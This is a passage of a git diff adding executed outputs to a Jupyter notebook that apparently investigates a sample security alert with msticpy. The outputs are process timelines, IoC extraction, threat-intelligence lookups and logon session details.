/nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring\\nAgent\\\\Agent\\\\Health Service State\\\\ICT\\n2\\\\CMF-64/DesiredStateConfiguration\\\\DscRun.exe\\\"\\nGetInventory \\\"C:\\\\Program Files\\\\Microsoft\\nMonitoring Agent\\\\Agent\\\\Health Service State\\\\ICT\\n2\\\\work\\\\Registry.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft\\nMonitoring Agent\\\\Agent\\\\Health Service State\\\\ICT\\n2\\\\work\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring\\nAgent\\\\Agent\\\\Health Service State\\\\ICT\\n2\\\\CMF/DesiredStateConfiguration\\\\DscRun.exe\\\"\\nGetInventory \\\"C:\\\\Program Files\\\\Microsoft\\nMonitoring Agent\\\\Agent\\\\Health Service State\\\\ICT\\n2\\\\work\\\\localhost.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft\\nMonitoring Agent\\\\Agent\\\\Health Service State\\\\ICT\\n2\\\\work\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"C:\\\\Windows\\\\system32\\\\MusNotification.exe Display\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 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\"MonthsTicker\"},{\"attributes\":{\"data_source\":{\"id\":\"2164\"},\"glyph\":{\"id\":\"2219\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"2220\"},\"selection_glyph\":null,\"view\":{\"id\":\"2222\"}},\"id\":\"2221\",\"type\":\"GlyphRenderer\"},{\"attributes\":{},\"id\":\"2188\",\"type\":\"ResetTool\"},{\"attributes\":{\"active_drag\":\"auto\",\"active_inspect\":\"auto\",\"active_multi\":null,\"active_scroll\":\"auto\",\"active_tap\":\"auto\",\"tools\":[{\"id\":\"2166\"},{\"id\":\"2186\"},{\"id\":\"2187\"},{\"id\":\"2188\"},{\"id\":\"2189\"},{\"id\":\"2190\"}]},\"id\":\"2192\",\"type\":\"Toolbar\"},{\"attributes\":{\"text\":\"Timeline: Distinct Host Processes (bottom) and All Proceses (top)\"},\"id\":\"2168\",\"type\":\"Title\"},{\"attributes\":{},\"id\":\"2183\",\"type\":\"BasicTicker\"},{\"attributes\":{},\"id\":\"2174\",\"type\":\"LinearScale\"},{\"attributes\":{\"label\":{\"value\":\"Secondary\"},\"renderers\":[{\"id\":\"2243\"}]},\"id\":\"2247\",\"type\":\"LegendItem\"},{\"attributes\":{\"below\":[{\"id\":\"2178\"}],\"center\":[{\"id\":\"2181\"},{\"id\":\"2185\"},{\"id\":\"2253\"}],\"left\":[{\"id\":\"2182\"},{\"id\":\"2245\"}],\"min_border_left\":50,\"plot_height\":300,\"plot_width\":900,\"renderers\":[{\"id\":\"2238\"},{\"id\":\"2243\"},{\"id\":\"2251\"}],\"title\":{\"id\":\"2168\"},\"toolbar\":{\"id\":\"2192\"},\"x_range\":{\"id\":\"2170\"},\"x_scale\":{\"id\":\"2174\"},\"y_range\":{\"id\":\"2172\"},\"y_scale\":{\"id\":\"2176\"}},\"id\":\"2167\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{\"mantissas\":[1,2,5],\"max_interval\":500.0,\"num_minor_ticks\":0},\"id\":\"2280\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{},\"id\":\"2176\",\"type\":\"LinearScale\"},{\"attributes\":{\"end\":1.5,\"start\":-0.5},\"id\":\"2172\",\"type\":\"Range1d\"},{\"attributes\":{\"axis\":{\"id\":\"2178\"},\"minor_grid_line_alpha\":0.3,\"minor_grid_line_color\":\"navy\",\"ticker\":null},\"id\":\"2181\",\"type\":\"Grid\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"navy\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"navy\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2220\",\"type\":\"Circle\"},{\"attributes\":{\"align\":\"right\",\"text\":\"Drag the middle or edges of the selection box to change the range in the main chart\",\"text_font_size\":{\"value\":\"10px\"}},\"id\":\"2215\",\"type\":\"Title\"},{\"attributes\":{\"axis\":{\"id\":\"2182\"},\"dimension\":1,\"grid_line_color\":null,\"ticker\":null},\"id\":\"2185\",\"type\":\"Grid\"},{\"attributes\":{\"num_minor_ticks\":10,\"tickers\":[{\"id\":\"2261\"},{\"id\":\"2262\"},{\"id\":\"2263\"},{\"id\":\"2264\"},{\"id\":\"2265\"},{\"id\":\"2266\"},{\"id\":\"2267\"},{\"id\":\"2268\"},{\"id\":\"2269\"},{\"id\":\"2270\"},{\"id\":\"2271\"},{\"id\":\"2272\"}]},\"id\":\"2179\",\"type\":\"DatetimeTicker\"},{\"attributes\":{\"overlay\":{\"id\":\"2191\"}},\"id\":\"2187\",\"type\":\"BoxZoomTool\"},{\"attributes\":{\"end\":1550100279010.7,\"start\":1550095311002.2998},\"id\":\"2170\",\"type\":\"Range1d\"},{\"attributes\":{\"formatter\":{\"id\":\"2257\"},\"ticker\":{\"id\":\"2183\"},\"visible\":false},\"id\":\"2182\",\"type\":\"LinearAxis\"},{\"attributes\":{\"axis_label\":\"Event Time\",\"formatter\":{\"id\":\"2233\"},\"ticker\":{\"id\":\"2179\"}},\"id\":\"2178\",\"type\":\"DatetimeAxis\"},{\"attributes\":{\"dimensions\":\"width\"},\"id\":\"2190\",\"type\":\"PanTool\"},{\"attributes\":{\"below\":[{\"id\":\"2210\"},{\"id\":\"2215\"}],\"center\":[{\"id\":\"2213\"}],\"plot_height\":120,\"plot_width\":900,\"renderers\":[{\"id\":\"2221\"},{\"id\":\"2226\"}],\"title\":{\"id\":\"2200\"},\"toolbar\":{\"id\":\"2214\"},\"toolbar_location\":null,\"x_range\":{\"id\":\"2202\"},\"x_scale\":{\"id\":\"2206\"},\"y_range\":{\"id\":\"2204\"},\"y_scale\":{\"id\":\"2208\"}},\"id\":\"2199\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{},\"id\":\"2189\",\"type\":\"SaveTool\"},{\"attributes\":{\"text\":\"Range Selector\"},\"id\":\"2200\",\"type\":\"Title\"}],\"root_ids\":[\"2254\"]},\"title\":\"Bokeh Application\",\"version\":\"2.1.1\"}};\n", + " var render_items = [{\"docid\":\"0dc95462-545c-40d6-b486-3fd89142eecb\",\"root_ids\":[\"2254\"],\"roots\":{\"2254\":\"87045ecf-3b0f-4ab4-9db3-d73b085584d8\"}}];\n", + " root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n", + "\n", + " }\n", + " if (root.Bokeh !== undefined) {\n", + " embed_document(root);\n", + " } else {\n", + " var attempts = 0;\n", + " var timer = setInterval(function(root) {\n", + " if (root.Bokeh !== undefined) {\n", + " clearInterval(timer);\n", + " embed_document(root);\n", + " } else {\n", + " attempts++;\n", + " if (attempts > 100) {\n", + " clearInterval(timer);\n", + " console.log(\"Bokeh: ERROR: Unable to run BokehJS code because BokehJS library is missing\");\n", + " }\n", + " }\n", + " }, 10, root)\n", + " }\n", + "})(window);" + ], + "application/vnd.bokehjs_exec.v0+json": "" + }, + "metadata": { + "application/vnd.bokehjs_exec.v0+json": { + "id": "2254" + } + }, + "output_type": "display_data" + } + ], "source": [ "# Show timeline of events - clustered events\n", "if 'clus_events' in locals() and not clus_events.empty:\n", @@ -833,14 +4678,36 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 24, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:20:12.962663Z", "start_time": "2020-05-16T02:20:11.763218Z" } }, - "outputs": [], + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "\n", + "Potential IoCs found in alert process:\n" + ] + }, + { + "data": { + "text/plain": [ + "defaultdict(set,\n", + " {'windows_path': {'.\\\\tsetup.1.exe',\n", + " 'c:\\\\users\\\\msticadmin\\\\appdata\\\\local\\\\temp\\\\2\\\\is-01dd7.tmp\\\\tsetup.1.0.14.tmp',\n", + " 'c:\\\\users\\\\msticadmin\\\\downloads\\\\tsetup.1.0.14.exeAA'},\n", + " 'linux_path': {'/sl5=\"$250276,19992586,423424,c:\\\\users\\\\msticadmin\\\\downloads\\\\tsetup.1.0.14.exeAA'}})" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], "source": [ "process = security_alert.primary_process\n", "ioc_extractor = IoCExtract()\n", @@ -874,17 +4741,131 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 25, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:20:15.419954Z", "start_time": "2020-05-16T02:20:15.359955Z" } }, - "outputs": [], - "source": [ - "ioc_extractor = IoCExtract()\n", - "\n", + "outputs": [ + { + "data": { + "text/html": [ + "

IoC patterns found in process tree.

" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "text/html": [ + "
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IoCTypeObservableSourceIndex
0dns7a9d40f2-490e-4468-a8cf-b7822b95614d.zip25
1ipv4168.63.129.1635
2dnsmicrosoft.com100
3dnsclients2.google.com123
4urlhttps://clients2.google.com/cr/report123
5dnsclients2.google.com125
6urlhttps://clients2.google.com/cr/report125
7ipv41.3.33.23126
8ipv41.3.33.23127
\n", + "
" + ], + "text/plain": [ + " IoCType Observable SourceIndex\n", + "0 dns 7a9d40f2-490e-4468-a8cf-b7822b95614d.zip 25\n", + "1 ipv4 168.63.129.16 35\n", + "2 dns microsoft.com 100\n", + "3 dns clients2.google.com 123\n", + "4 url https://clients2.google.com/cr/report 123\n", + "5 dns clients2.google.com 125\n", + "6 url https://clients2.google.com/cr/report 125\n", + "7 ipv4 1.3.33.23 126\n", + "8 ipv4 1.3.33.23 127" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], + "source": [ + "ioc_extractor = IoCExtract()\n", + "\n", "source_processes = None\n", "# if process tree is populated we use that preferentially\n", "try:\n", @@ -923,14 +4904,22 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 26, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:20:19.183556Z", "start_time": "2020-05-16T02:20:19.165556Z" } }, - "outputs": [], + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "No base64 encodings found.\n" + ] + } + ], "source": [ "if source_processes is not None:\n", " dec_df = base64.unpack_items(data=source_processes, column='CommandLine')\n", @@ -971,14 +4960,194 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 27, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:20:32.758293Z", "start_time": "2020-05-16T02:20:22.825297Z" } }, - "outputs": [], + "outputs": [ + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Using Open PageRank. See https://www.domcop.com/openpagerank/what-is-openpagerank\n" + ] + }, + { + "data": { + "text/html": [ + "

Positive TI Results:

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IocIocTypeSafeIocQuerySubtypeProviderResultSeverityDetailsRawResultReferenceStatus
2microsoft.comdnsmicrosoft.comNoneOTXTruehigh{'pulse_count': 9, 'names': ['MIOCs - Latest Malware Analysis worldwide', 'MIOCs - Latest Malwar...{'indicator': 'microsoft.com', 'alexa': 'http://www.alexa.com/siteinfo/microsoft.com', 'whois': ...https://otx.alienvault.com/api/v1/indicators/domain/microsoft.com/general0
1168.63.129.16ipv4168.63.129.16NoneXForceTruewarning{'score': 1, 'cats': {}, 'categoryDescriptions': {}, 'reason': 'Regional Internet Registry', 're...{'ip': '168.63.129.16', 'history': [{'created': '2012-03-22T07:26:00.000Z', 'reason': 'Regional ...https://api.xforce.ibmcloud.com/ipr/168.63.129.160
71.3.33.23ipv41.3.33.23NoneXForceTruewarning{'score': 1, 'cats': {}, 'categoryDescriptions': {}, 'reason': 'Regional Internet Registry', 're...{'ip': '1.3.33.23', 'history': [{'created': '2012-03-22T07:26:00.000Z', 'reason': 'Regional Inte...https://api.xforce.ibmcloud.com/ipr/1.3.33.230
81.3.33.23ipv41.3.33.23NoneXForceTruewarning{'score': 1, 'cats': {}, 'categoryDescriptions': {}, 'reason': 'Regional Internet Registry', 're...{'ip': '1.3.33.23', 'history': [{'created': '2012-03-22T07:26:00.000Z', 'reason': 'Regional Inte...https://api.xforce.ibmcloud.com/ipr/1.3.33.230
\n", + "
" + ], + "text/plain": [ + " Ioc IocType SafeIoc QuerySubtype Provider Result \\\n", + "2 microsoft.com dns microsoft.com None OTX True \n", + "1 168.63.129.16 ipv4 168.63.129.16 None XForce True \n", + "7 1.3.33.23 ipv4 1.3.33.23 None XForce True \n", + "8 1.3.33.23 ipv4 1.3.33.23 None XForce True \n", + "\n", + " Severity \\\n", + "2 high \n", + "1 warning \n", + "7 warning \n", + "8 warning \n", + "\n", + " Details \\\n", + "2 {'pulse_count': 9, 'names': ['MIOCs - Latest Malware Analysis worldwide', 'MIOCs - Latest Malwar... \n", + "1 {'score': 1, 'cats': {}, 'categoryDescriptions': {}, 'reason': 'Regional Internet Registry', 're... \n", + "7 {'score': 1, 'cats': {}, 'categoryDescriptions': {}, 'reason': 'Regional Internet Registry', 're... \n", + "8 {'score': 1, 'cats': {}, 'categoryDescriptions': {}, 'reason': 'Regional Internet Registry', 're... \n", + "\n", + " RawResult \\\n", + "2 {'indicator': 'microsoft.com', 'alexa': 'http://www.alexa.com/siteinfo/microsoft.com', 'whois': ... \n", + "1 {'ip': '168.63.129.16', 'history': [{'created': '2012-03-22T07:26:00.000Z', 'reason': 'Regional ... \n", + "7 {'ip': '1.3.33.23', 'history': [{'created': '2012-03-22T07:26:00.000Z', 'reason': 'Regional Inte... \n", + "8 {'ip': '1.3.33.23', 'history': [{'created': '2012-03-22T07:26:00.000Z', 'reason': 'Regional Inte... \n", + "\n", + " Reference \\\n", + "2 https://otx.alienvault.com/api/v1/indicators/domain/microsoft.com/general \n", + "1 https://api.xforce.ibmcloud.com/ipr/168.63.129.16 \n", + "7 https://api.xforce.ibmcloud.com/ipr/1.3.33.23 \n", + "8 https://api.xforce.ibmcloud.com/ipr/1.3.33.23 \n", + "\n", + " Status \n", + "2 0 \n", + "1 0 \n", + "7 0 \n", + "8 0 " + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], "source": [ "from msticpy.sectools.tiproviders.ti_provider_base import TISeverity\n", "\n", @@ -1010,7 +5179,7 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 28, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:21:17.223752Z", @@ -1018,7 +5187,50 @@ }, "scrolled": true }, - "outputs": [], + "outputs": [ + { + "data": { + "application/vnd.jupyter.widget-view+json": { + "model_id": "87ed7e7597334145b854cba3e6835c5b", + "version_major": 2, + "version_minor": 0 + }, + "text/plain": [ + "HTML(value='

Set query time boundaries

')" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/vnd.jupyter.widget-view+json": { + "model_id": "64d2e0659a3547b4a11c7a3df67a5cb1", + "version_major": 2, + "version_minor": 0 + }, + "text/plain": [ + "HBox(children=(DatePicker(value=datetime.date(2019, 2, 13), description='Origin Date'), Text(value='23:07:57',…" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/vnd.jupyter.widget-view+json": { + "model_id": "cfc10cac7a86448ba51f9fb726781897", + "version_major": 2, + "version_minor": 0 + }, + "text/plain": [ + "VBox(children=(IntRangeSlider(value=(-5, 1), description='Time Range (day):', layout=Layout(width='80%'), max=…" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], "source": [ "# set the origin time to the time of our alert\n", "query_times = nbwidgets.QueryTime(units='day', before=5, max_before=20,\n", @@ -1029,14 +5241,87 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 29, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:21:22.127025Z", "start_time": "2020-05-16T02:21:19.300028Z" } }, - "outputs": [], + "outputs": [ + { + "data": { + "text/html": [ + "

Command Line: '.\\\\tsetup.1.exe c:\\\\users\\\\msticadmin\\\\appdata\\\\local\\\\temp\\\\2\\\\is-01dd7.tmp\\\\tsetup.1.0.14.tmp' /sl5='$250276,19992586,423424,c:\\\\users\\\\msticadmin\\\\downloads\\\\tsetup.1.0.14.exe'

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No proceses with matching commandline found in on other hosts in workspace

" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "text/html": [ + "

between: 2019-02-08 23:07:57+00:00 and 2019-02-14 23:07:57+00:00

" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], "source": [ "# This query needs a commandline parameter which isn't supplied\n", "# by default from the the alert \n", @@ -1093,7 +5378,7 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 30, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:21:24.995564Z", @@ -1101,7 +5386,50 @@ }, "scrolled": true }, - "outputs": [], + "outputs": [ + { + "data": { + "application/vnd.jupyter.widget-view+json": { + "model_id": "d8513ca63b4a45e088b1e7f6f3bb5c61", + "version_major": 2, + "version_minor": 0 + }, + "text/plain": [ + "HTML(value='

Set query time boundaries

')" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/vnd.jupyter.widget-view+json": { + "model_id": "d2d5ba220c6f4f3fb7316ae974a8065e", + "version_major": 2, + "version_minor": 0 + }, + "text/plain": [ + "HBox(children=(DatePicker(value=datetime.date(2019, 2, 13), description='Origin Date'), Text(value='23:07:57',…" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/vnd.jupyter.widget-view+json": { + "model_id": "2eb69e8b0c414849aba7eb2aa67eaa84", + "version_major": 2, + "version_minor": 0 + }, + "text/plain": [ + "VBox(children=(IntRangeSlider(value=(-1, 0), description='Time Range (day):', layout=Layout(width='80%'), max=…" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], "source": [ "# set the origin time to the time of our alert\n", "query_times = nbwidgets.QueryTime(units='day', origin_time=security_alert.origin_time,\n", @@ -1123,14 +5451,69 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 31, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:21:30.636724Z", "start_time": "2020-05-16T02:21:28.813548Z" } }, - "outputs": [], + "outputs": [ + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "text/html": [ + "\n", + " \n", + "
Account: MSTICAdmin
Account Domain: MSTICAlertsWin1
Logon Time: 2019-02-13 23:07:23.823000+00:00
Logon type: 4(Batch)
User Id/SID: S-1-5-21-996632719-2361334927-4038480536-500
  SID S-1-5-21-996632719-2361334927-4038480536-500 is administrator
  SID S-1-5-21-996632719-2361334927-4038480536-500 is local machine or domain account

Subject (source) account: WORKGROUP/MSTICAlertsWin1$
Logon process: Advapi
Authentication: Negotiate
Source IpAddress: -
Source Host: MSTICAlertsWin1
Logon status:
" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], "source": [ "logon_id = security_alert.get_logon_id()\n", "\n", @@ -1157,14 +5540,73 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 32, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:21:33.574131Z", "start_time": "2020-05-16T02:21:31.528726Z" } }, - "outputs": [], + "outputs": [ + { + "data": { + "text/html": [ + "

Querying data...

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y3uttt3fWe/WeY3ruSSf9Q4499oj85Ce3Zo893pQk+fGPb86vfz07l1325VRVlY9+9EP57nevyT/8w6n5xjf+PZdd9qXceuvNufrqb+Www2bkZz/7SZ544ok88sjc3H33XXnta1+XJ598Ip/+9Cfy+c9fnhe84IX52te+nAsvPD8f+9h5SZI3venNOffcT/aOX952263553/+Yi666JJsvvnmq+T3QYUNAABotI03npTTT5855GjkT396W371qzvz7ncfkxNOeGf++79/lbvu+v2Q1+2yy2751a9+mYGBgfzhD3/I2962f/7rv27PrbfelDe/ea/86le/zA47vCYveMELkyQHHzw9s2b9pPf6HXd8be/Xjz/+WM4++9QccMC0bLHFlqvss6mwAQAAz8p6r95zzFWw1e0Nb3jTkKORAwN1Dj/8yBxxxDuTJE8++WT6+vqGvGaDDTbIq1716nz3u9fkpS99aXbZZbfMmnVbfvGLn+eoo47LnXf+fMjzSykZGBgY8vququrkk5+8IB/5yMzst9/UPP/5k1fJ51JhAwAAWuGkk/4ht912S+bOfTi77bZ7rrvu/8v8+fPT39+fM8/8QH7wg+8nSfr6+tLf358kefOb98y//MsXs8suu2WXXXbLjTf+ZzbccMNsttlm2XHH1+ZXv7qjd+Tx29/+j+y6624r/Nmbbrppdtttjxx22IxcdNH5q+wzjSmwffazn8073vGOTJs2Lf/8z/+83OOzZ8/O9OnTM3Xq1Jx99tm9Dw8AALCmdI9GLlq0KHvuuXf22Wff/PVfH59jj/2rbLvtdnn72w9Mkuy11945/vijsnDhwkyZslfuu+/e7LLL7tl0002z2Wab581v3itJssUWW+bUU8/OWWedkne+8/DcfvusnHLKWSNewzvfeXzuuuv3+dGPfrBKPlNVSikjPeG2227LRRddlK985Svp7+/PO97xjnzxi1/MK17xit5zDjzwwHzsYx/LzjvvnLPOOiuvfe1rc9RRR435IubOnZe6HvEyAACAtexPf/pDttnmpWv7Mhpt2d/DTqfKlltOGvb5o1bY3vCGN+TLX/5yJkyYkLlz52ZgYCAbbbRR7/H77rsvCxYsyM4775wkmT59eq699trn8hkAAADIGI9Errfeevnc5z6XadOmZcqUKdl66617jz344IOZPHlJQ93kyZPzwAMPrPorBQAAhrjhj/+ZPzxxz9q+DFajMU+JPPnkk3PiiSfmb/7mb3LFFVfkr/7qr5IkdV2nqqre80opQ74ei5FKgAAAwIr9vz+8Lvu9cu/s/sod18jPe/DBTiZMMLfwueh0Opk8eZMxP3/UwPa73/0uzzzzTHbYYYdsuOGG2X///fPrX/+69/g222yThx56qPf1ww8/nK222mqlLloPGwAArLy6lDw1f0EeeujJNfPz6jr9/fUa+VltVdf1kD+v59zDdu+992bmzJl55pln8swzz+T73/9+dtttySjLF73oRdlggw0ya9asJMlVV12Vvffe+7l8BgAAYAxKKalHniFIw40a2PbZZ5/8+Z//eQ499ND8xV/8RXbZZZdMmzYtJ554Yu64444kyQUXXJBPfvKTOeCAAzJ//vwce+yxq/3CAQBgXVdSUkfFq81GHeu/JjgSCQAAK++kG07Pm1+4R47afsYa+Xnjcaz///7f38tXvvIvGRgYSCl1DjhgWo466rkVkL71rW8kSQ49dNX/vq7sWP8xDx0BAADGj1JKSkoGyrpbYXvooQdzySWfyf/6X/9Pnve8zTJ//vycdNJf5yUveWn22mufZ/2+qyOoPVsCGwAANFDJ4Am1cXBgbq157LHH0t/fnwULFuR5z0s22mijzJz54ay//gaZPfuX+dznLszChQvyvOdtllNPPSsvfOGLctJJf51NN31e7rrrd9l//7fnsccezfved1qS5OKLL8pWW22VefPmJUne/e735LvfvTZf/vLlSarssMOOOf30wfkeF154Xn7/+9+lruscffSx2W+/A1bLZxTYAACggbpBrV6LFbYfz5mVW+b8ZLW895QX7JE3vmC3EZ+z7bavzlvesk8OP/yQvPrV22WXXXbPfvsdkK233iZnn31azjvvomyzzTb58Y9vyXnnfTyf/eylSZJXvvJV+cQnPp1HH300J5xwdE4++QPpdDr54Q9vyBe+8M/51re+mWSwgnfxxRfm8su/kq222jof/egHc/PNN+aXv7wj2223Q2bO/Eieempe/uZvTsiOO742L3rRi1f574PABgAADVRn7Qe28eCUU87Mcce9O7fddmtuu+2WvOc978oxxxyf+++/N2ec8f7e85566qner3fc8bVJks033zyvetW2+dnPfpr11lsvL3nJS7Plls/vPe/OO3+RnXZ6fbbaauskyQc/+NEkyZe+dHkWLlyQ73zn20mSBQsW5K67fi+wAQAAg8ZDhe2NL9ht1CrY6nTzzTfm6afn521v2z/Tph2cadMOzre/fWWuv/7avPCFL8q//MvXkiQDAwN59NFHeq/bYIMNer+eOvUdueGG6zNhwnrZf/+3D3n/CRMmpKqWfP3oo48mSep6IB/84Eez3XbbJ0keeWRuNt30eavlM1pTDgAADdTtYetW2tZFEydOzD/90/+VOXPuTzIYYn/729/kNa/ZKU888UR+/vPbkyTf+c638+EPn73C93jLW/bJf/3Xz/KTn9yavfd+65DHdtjhNfnlL+/M3LkPJ0kuvvjC3HjjD7Prrnv0Jkk+/PDDOe64I/PAA39aLZ9RhQ0AABqoLK6srctHInfddfeccMKJOe20f0h/f3+S5I1vnJITTvjr7LXX3vnsZy/IM888k4022jgzZ35khe+xwQYTs9NOr8+iRYuy0UYbDXns+c+fnP/5Pz+Q97//71PXA3nta1+Xd7zjoCxY8HT+8R/PyzHHHJ66rvN3f3fyajkOmdjDBgAAjTR/0dM59Ufn5LVbbp+/ff0Ja+Rnjsc9bE2zsnvYHIkEAIAG6h6JXJf3sK0LBDYAAGig7kG5cXBgjtVIYAMAgAYqxvqvEwQ2AABooLo71j9rMrBVvWEnrLzB37tq1OctTWADAIAGKlnzUyLXX39iHnvs4fT3L3IUcyWUUtLfvyiPPfZw1l9/4kq91lh/AABooCWLs9dccNp888mZN+/xPPLIA6nrgTX2c9ug0+nLhhtOyqRJK7dgW2ADAIAG6h2JXIMVtqqqsskmm2WTTTZbYz9zXedIJAAANJChI+sGgQ0AABqorIUKG2uewAYAAA3UGzoSwz/aTGADAIAGqnuLs1XY2kxgAwCABur2sA0IbK0msAEAQAMVFbZ1gsAGAAANtGRKpB62NhPYAACggdbGHjbWPIENAAAaqDclUmBrNYENAAAaqLeHLQJbmwlsAADQQEuOROphazOBDQAAGqg7dMSUyHYT2AAAoIG6RyLtYWs3gQ0AABpIhW3dILABAEADdYNaHT1sbSawAQBAAy29h60YPNJaAhsAADRQWaqyVlTZWktgAwCABlq6qmZ5dnsJbAAA0EBL967ZxdZeAhsAADTQ0tMhVdjaS2ADAIAGK